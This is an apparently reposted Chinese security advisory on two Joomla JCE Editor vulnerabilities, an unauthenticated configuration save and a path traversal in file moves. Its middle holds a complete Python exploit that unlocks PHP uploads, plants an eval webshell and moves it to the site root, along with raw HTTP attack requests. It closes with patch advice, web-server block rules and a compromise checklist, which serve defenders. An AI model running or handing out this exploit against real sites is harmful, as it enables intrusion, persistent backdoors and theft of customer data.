Joomla JCE Editor 双高危漏洞预警(CVE-2026-48907 / CVE-2026-48908)
飓风网络安全
2026年6月23日 22:33
北京
在小说阅读器读本章
去阅读
一、漏洞对象:Joomla 第三方主流编辑器插件 JCE Editor(jce)
二、漏洞原理深度拆解
2.1 CVE-2026-48907 根因分析
JCE Editor 的编辑器配置保存接口 profiles.save 缺少全局身份校验中间件:
-
正常逻辑:仅后台管理员可新建/编辑编辑器配置文件(profile);
-
缺陷代码:控制器未校验 $user->authorise('core.manage', 'com\_jce'),任意匿名访问者可POST调用保存接口;
-
配置可控项包含 文件上传白名单、MIME校验、文件大小限制;攻击者可构造恶意配置:
清空上传黑名单,添加 .php, .phtml, .phar 至允许后缀;
关闭文件内容校验、MIME头校验、图片二次渲染检测;
- 保存恶意配置后,调用文件上传接口即可无限制上传PHP脚本,完成远程代码执行。
源码缺陷伪代码(简化):
// 漏洞代码 /components/com\_jce/controllers/profile.php
public function save() {
// 缺失管理员权限校验
$data = $this->input->getArray();
$model = $this->getModel('Profile');
$model->save($data); // 直接保存可控上传规则
}
2.2 CVE-2026-48908 根因分析
文件上传接口未对上传文件名做路径标准化过滤,未拦截 ../ 目录穿越字符: -
上传请求中 filename 参数可控,可传入 ../configuration.php;
-
后端直接拼接路径 $upload\_dir . $filename,未调用 realpath() 规范化;
-
攻击者可覆盖网站核心配置文件、写入Webshell到网站根目录、覆盖管理员登录文件。
缺陷逻辑伪代码:
// 漏洞上传逻辑
$filename = $\_FILES['file']['name']; // 可控,携带../
$dest = JPATH\_SITE . '/media/jce/' . $filename;
move\_uploaded\_file($\_FILES['file']['tmp\_name'], $dest); // 无路径清洗
2.3 漏洞联动利用链路(完整入侵链)
-
匿名访问调用 profiles.save 创建恶意上传配置(CVE-48907);
-
调用文件管理器上传接口,上传PHP Webshell到网站media目录;
-
利用CVE-48908路径穿越,将Webshell移动至网站根目录;
-
覆盖 configuration.php 获取数据库账号,拖库、植入持久化后门、横向渗透服务器。
三、漏洞检测方法
3.1 手工检测Payload(GET)
检测48907权限绕过接口是否开放
GET /index.php?option=com\_jce&task=profiles.save HTTP/1.1
Host: target.com
检测插件版本
GET /components/com\_jce/jce.xml HTTP/1.1
返回xml中version < 2.9.60 即为受影响。
四、完整可执行PoC(Python3,授权渗透测试专用)
PoC功能说明
1. 自动创建恶意上传配置
-
上传PHP一句话Webshell
-
路径穿越移动后门至网站根目录(利用CVE-48908)
-
输出Webshell访问地址
JCE Editor CVE-2026-48907 + CVE-2026-48908 联合利用PoC
仅用于企业授权安全测试,非法使用后果自负
import requests
import argparse
session = requests.Session()
def create\_malicious\_profile(target\_url):
\"\"\"步骤1:未授权创建恶意编辑器配置,放开PHP上传限制 CVE-48907\"\"\"
save\_api = f\"{target\_url}/index.php?option=com\_jce&task=profiles.save\"
post\_data = {
\"id\": \"\",
\"title\": \"attack\_profile\",
\"upload\_extensions\": \"jpg,jpeg,gif,png,bmp,php,phtml,phar\",
\"upload\_mime\": \"\",
\"upload\_validate\": \"0\",
\"upload\_clean\": \"0\",
\"upload\_security\": \"0\",
\"upload\_maxsize\": \"52428800\"
}
resp = session.post(save\_api, data=post\_data, verify=False, timeout=10)
if resp.status\_code == 200:
print(\"[+] CVE-48907 配置创建成功,已放行PHP文件上传\")
return True
else:
print(\"[-] 配置创建失败,目标可能已修复或WAF拦截\")
return False
def upload\_webshell(target\_url):
\"\"\"步骤2:上传PHP一句话后门\"\"\"
upload\_api = f\"{target\_url}/index.php?option=com\_jce&task=filemanager.upload\"
webshell\_code = b'<?php eval($\_POST[\"cmd\"]); ?>'
files = {
'file': ('temp\_shell.php', webshell\_code, 'application/x-php')
}
upload\_data = {
\"folder\": \"/media/jce/\"
}
resp = session.post(upload\_api, files=files, data=upload\_data, verify=False, timeout=10)
if \"temp\_shell.php\" in resp.text:
print(\"[+] Webshell上传成功 /media/jce/temp\_shell.php\")
return \"/media/jce/temp\_shell.php\"
return None
def path\_traverse\_move(target\_url, shell\_path):
\"\"\"步骤3:路径穿越移动后门到网站根目录 CVE-48908\"\"\"
move\_api = f\"{target\_url}/index.php?option=com\_jce&task=filemanager.move\"
post\_data = {
\"source\": shell\_path,
\"destination\": \"../shell\_backdoor.php\" # 路径穿越至网站根目录
}
resp = session.post(move\_api, data=post\_data, verify=False, timeout=10)
print(\"[+] CVE-48908路径穿越执行完成,根目录后门地址:\")
print(f\" {target\_url}/shell\_backdoor.php\")
print(\"[!] 连接密码: cmd, POST传入参数执行系统命令\")
def main():
parser = argparse.ArgumentParser(description=\"CVE-2026-48907 + 48908 Joomla JCE Exploit PoC\")
parser.add\_argument(\"-u\", \"--url\", required=True, help=\"目标Joomla站点,例 http://127.0.0.1/joomla\")
args = parser.parse\_args()
target = args.url.rstrip(\"/\")
print(f\"[\*] 开始攻击目标: {target}\")
if create\_malicious\_profile(target):
shell = upload\_webshell(target)
if shell:
path\_traverse\_move(target, shell)
else:
print(\"[-] 文件上传失败,目标存在上传拦截\")
if \\_name\\ == \"\\main\\_\":
requests.packages.urllib3.disable\_warnings()
main()
PoC使用命令
python3 jce\_exploit.py -u http://192.168.10.10/joomla
四、手动HTTP攻击数据包
1)创建恶意配置 POST包
POST /index.php?option=com\_jce&task=profiles.save HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
id=&title=exp&upload\_extensions=jpg,png,php,phtml&upload\_validate=0&upload\_security=0
2)路径穿越移动文件
POST /index.php?option=com\_jce&task=filemanager.move HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
source=/media/jce/a.php&destination=../root\_shell.php
五、风险影响面分析
1. 覆盖范围:JCE Editor是Joomla生态装机量TOP3编辑器,政企、教育、中小企业建站系统大量使用;
-
攻击门槛极低:无认证、无交互、全自动化扫描利用,勒索软件团伙、挖矿木马已批量采集漏洞资产;
-
衍生风险:
上传后门持久控制服务器,横向渗透内网;
篡改网站页面、植入黑帽SEO、钓鱼页面;
覆盖数据库配置文件窃取客户数据;
植入病毒挖矿、反弹Shell接入僵尸网络。
六、修复与缓解方案(生产环境落地)
6.1 永久修复(推荐)
1. Joomla后台扩展管理,升级 JCE Editor ≥ 2.9.60;
-
升级后清空网站缓存、删除media/jce目录下未知php文件;
-
重置网站管理员、数据库账号密码。
6.2 临时缓解(无法立刻升级场景)
方案1:Nginx拦截攻击接口配置
location ~\* /index\.php\?option=com\_jce&task=(profiles\.save|filemanager\.(upload|move)) {
deny all;
}
方案2:Apache .htaccess防护规则
RewriteEngine On
RewriteCond %{QUERY\_STRING} option=com\_jce&task=profiles.save [OR]
RewriteCond %{QUERY\_STRING} option=com\_jce&task=filemanager.upload
RewriteRule ^ - [R=403,L]
方案3:后台权限限制
• 若业务允许,直接禁用com\_jce组件;
• 限制网站media目录PHP执行权限(Nginx/Apache禁止media目录解析php)。
6.3 事后入侵排查清单
-
全盘检索 .php 文件,重点扫描 /media/jce/、网站根目录;
-
校验 configuration.php 修改时间,核对数据库账号;
-
查看Joomla管理员新增账号、异常登录日志;
-
服务器排查定时任务、crontab、后门进程、反弹连接。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论